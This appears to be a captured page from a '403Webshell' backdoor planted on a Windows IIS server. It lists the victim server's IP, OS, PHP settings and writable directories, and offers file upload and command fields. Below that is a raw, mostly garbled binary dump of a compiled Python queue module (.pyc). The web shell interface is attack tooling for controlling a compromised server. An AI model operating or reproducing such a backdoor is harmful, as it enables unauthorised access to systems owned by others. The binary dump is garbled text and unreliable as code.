403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/concurrent/interpreters/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/concurrent/interpreters/__pycache__/_queues.cpython-315.pyc
R
>lqj�"c��Qs]PHs]PHs]PHs]PHs]QHGs]QHGsG	s	]QHG
s
Gs,QNsQQ\\O2sQ	Q\\O2sQ
Q\\O"2s]s]s\O(O+Q\2sQsQ
sQQ\-QkksQs\O82sQQ2s\O>\\\2P!)z+Cross-interpreter Queues High Level Module.)�_crossinterp)�
QueueError�QueueNotFoundError)�
UNBOUND_ERROR�UNBOUND_REMOVE�Queue�
QueueEmpty�	QueueFull�ItemInterpreterDestroyedc��\sQs]sQsQsP!)rzaRaised from get_nowait() when the queue is empty.

It is also raised from get() if it times out.
���__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��4C:\Python315\\Lib\concurrent\interpreters\_queues.pyrr���rc��\sQs]!sQsQsP!)rz`Raised from put_nowait() when the queue is full.

It is also raised from put() if it times out.
rrrrrrr!rrc��\sQs](sQsQsP!)r	z#Raised from get() and get_nowait().rrrrrr	r	(s��-r�queuec�d�U[Ic[Oo[OU2!�N)�UNBOUNDr�serialize_unbound)�unbounds&r�_serialize_unboundr4s&���'���&�&���)�)�'�2�2rc�r�[OU[2oU[OIc[oU!r)r�resolve_unboundr	r)�flag�resolveds& r�_resolve_unboundr#:s-���+�+�D�2J�K�H��<�'�'�'����Or�unbounditemsc��[U2oUvo[OVP2o[U2oUO	V12U!)z�Return a new cross-interpreter queue.

The queue may be used to pass data safely between interpreters.

"unbounditems" sets the default for Queue.put(); see that method for
supported values.  The default value is UNBOUND, which replaces
the unbound item.
)r�_queues�creater�_set_unbound)�maxsizer$r�	unboundop�qid�selfs&$    rr'r'AsA��!��.�G��J�I�
�.�.��R�
0�C���:�D����i�.��Krc��,o[O2FD`vqo[U2o[UQ2%fUO	U2LUO
]*U6XfPgUO
U2Jb	U!)z!Return a list of all open queues.�_unbound)r&�list_allr�hasattrr(r.�append)�queuesr+r*�_r,s     rr/r/Rsm��
�F�$�-�-�/�����S�z���t�Z�(�(����i�(��=�=��#�y�0�0�0��
�
�d��
0��Mrc��``�\sQs]asnQsU1QksQsQsQsQs	QQks
\Q2s\Q	2s
\Q
2sQsQsQ
sQQPQQ-QkksQP-QksQQQ-QkksQsQsUsU9s!)rzA cross-interpreter queue.c�:�[U[2%c
[U2oL[QU802g[U*oU![c9[
RS_S2oXmS[S$[OS2S!h9h)zid must be an int, got )
�
isinstance�int�	TypeError�
_known_queues�KeyError�super�__new__�_idr&�bind)�cls�idr,�	__class__s"" �rr<�
Queue.__new__ds�����b�#����R��B��5�b�V�<�=�=�	� ��$�D�����	��7�?�3�'�D��H� $�M�"���L�L�����	�s�
A�	B�5B�Bc��[OUO2[UOP![cK!h9h[
cP!h9hr)r&�releaser=rr9r:�r,s&r�__del__�
Queue.__del__ssO��	��O�O�D�H�H�%�	��d�h�h�'��"�	��	���	��	�s,� 7�A�	A�A�A�	A�A�Ac�N�[U2OQUOQ0!)�(�))�typer
r@rEs&r�__repr__�Queue.__repr__}s$���t�*�%�%�&�a����y��2�2rc�.�[UO2!r)�hashr=rEs&r�__hash__�Queue.__hash__�s���D�H�H�~�rc�4�[U2UO11!r)rKr=rEs&r�
__reduce__�Queue.__reduce__�s���T�
�T�X�X�K�(�(rc�`�[UQ2%cPgUe[U2oV1oV0mU!)r.)r0r#r.)r,�op�itemsrs&&& rr(�Queue._set_unbound�s5���4��,�,�,�,��=�$�R�(�E��+���
��rc��UO!r)r=rEs&rr@�Queue.id�s���x�x�rc��UOvqU![c:[OSO2vq1SOS2vqS!h9hr)r.�AttributeErrorr&�get_queue_defaultsr=r()r,r3rWrVs&   rr$�Queue.unbounditems�sY��	-��}�}�H�A�����	-��.�.�t�x�x�8�E�B��(�(��,�H�A�u���	-�s��	A�6A�Ac��UO![c5[OSO2SmSOt!h9hr)�_maxsizer\r&�get_maxsizer=rEs&rr)�
Queue.maxsize�s@��	!��=�=� ���	!�#�/�/����9�D�M��=�=� �	!�s��	A�2A�
Ac�*�UO2]6H!��)�qsizerEs&r�empty�Queue.empty�s���z�z�|�q� � rc�D�[OUO2!r)r&�is_fullr=rEs&r�full�
Queue.full�s�����t�x�x�(�(rc�D�[OUO2!r)r&�	get_countr=rEs&rrf�Queue.qsize�s��� � ����*�*rr$�_delayc��U%fUOVQ5!UePoL
[U2voUd:[U2oU]6c[Q2g[O2U*o[
OUOV2P![c:Sd[O2W6�cg[OS2Jhh9h)a�Add the object to the queue.

If "block" is true, this blocks while the queue is full.

For most objects, the object received through Queue.get() will
be a new one, equivalent to the original and not sharing any
actual underlying data.  The notable exceptions include
cross-interpreter types (like Queue) and memoryview, where the
underlying data is actually shared.  Furthermore, some types
can be sent through a queue more efficiently than others.  This
group includes various immutable types like int, str, bytes, and
tuple (if the items are likewise efficiently shareable).
See interpreters.is_shareable().

"unbounditems" controls the behavior of Queue.get() for the given
object if the current interpreter (calling put()) is later
destroyed.

If "unbounditems" is None (the default) then it uses the
queue's default, set with create_queue(),
which is usually UNBOUND.

If "unbounditems" is UNBOUND_ERROR then get() will raise an
ItemInterpreterDestroyed exception if the original interpreter
has been destroyed.  This does not otherwise affect the queue;
the next call to put() will work like normal, returning the next
item in the queue.

If "unbounditems" is UNBOUND_REMOVE then the item will be removed
from the queue as soon as the original interpreter is destroyed.
Be aware that this will introduce an imbalance between put()
and get() calls.

If "unbounditems" is UNBOUND then it is returned by get() in place
of the unbound item.
)r$�"timeout value must be non-negative)
�
put_nowaitrr7�
ValueError�timer&�putr=r�sleep)r,�obj�block�timeoutr$rpr*�ends&&&&$$  rrv�	Queue.put�s���P��?�?�3�?�B�B����I�+�L�9�J�I����'�l�G���{� �#E�G�G��)�)�+��'�C��
����D�H�H�c�5����
#��&�4�9�9�;�#�+=���
�
�6�"�
#�s$�/!B�	C�C�!C�;C�Cc�r�UePoL
[U2vo[OUOV2P!r)rr&rvr=)r,rxr$r*s&&$ rrs�Queue.put_nowait�s+�����I�+�L�9�J�I����D�H�H�c�-rc���U%fUO2!Ud:[U2oU]6c[Q2g[O2U*o[O
UO2vqVUd UdP[U22g[U2!U![c:Sd[O2W6�cg[OS2J�h9h)z�Return the next object from the queue.

If "block" is true, this blocks while the queue is empty.

If the next item's original interpreter has been destroyed
then the "next object" is determined by the value of the
"unbounditems" argument to put().
rr)�
get_nowaitr7rtrur&�getr=rrw�reprr#)r,ryrzrpr{rxr*s&&&$   rr��	Queue.get�s�����?�?�$�$����'�l�G���{� �#E�G�G��)�)�+��'�C��
�!(���T�X�X�!6����� ��;�)��S�	�)�;�#�I�.�.��
���
#��&�4�9�9�;�#�+=���
�
�6�"�
#�s$�"B!�!	C%�+C%�0C%�
C%�$C%c��[OUO2vqUd UdP[	U22g[U2!U![cgh9h)z}Return the next object from the channel.

If the queue is empty then raise QueueEmpty.  Otherwise this
is the same as get().
)r&r�r=rr�r#)r,rxr*s&  rr��Queue.get_nowaitsZ��	�$�[�[����2�N�C�� ��;�)��S�	�)�;�#�I�.�.��
���	��	�s�"A
�
	A�A)r=r`r.r)TNg{�G�z�?)r
rrrrr<rFrLrPrSr(�propertyr@r$r)rgrkrfrvrsr�r�r�__classdictcell__�
__classcell__)rA�
__classdict__s@@rrras�����$�
��3��)�����������!��!�!�)�+�;��;��;�z.�d�.����@
�
r)rrrr'r/rrrrrr	rd) rrru�weakref�
_interpqueuesr&�rrrrr�__all__�Emptyr�Fullrr	�_SHARED_ONLY�_PICKLED�UnboundItem�	singletonr
rrr#r'r/�WeakValueDictionaryr9r�_register_heap_typesrrr�<module>r�s���1������������U�[�[���
�E�J�J��.�z�+�D�D�.�
�����
"�
"�
,�
,�W�h�
?��3���g��"
��+�+�-�
�}�}�@���U�J�	�:r

Youez - 2016 - github.com/yon3zu
LinuXploit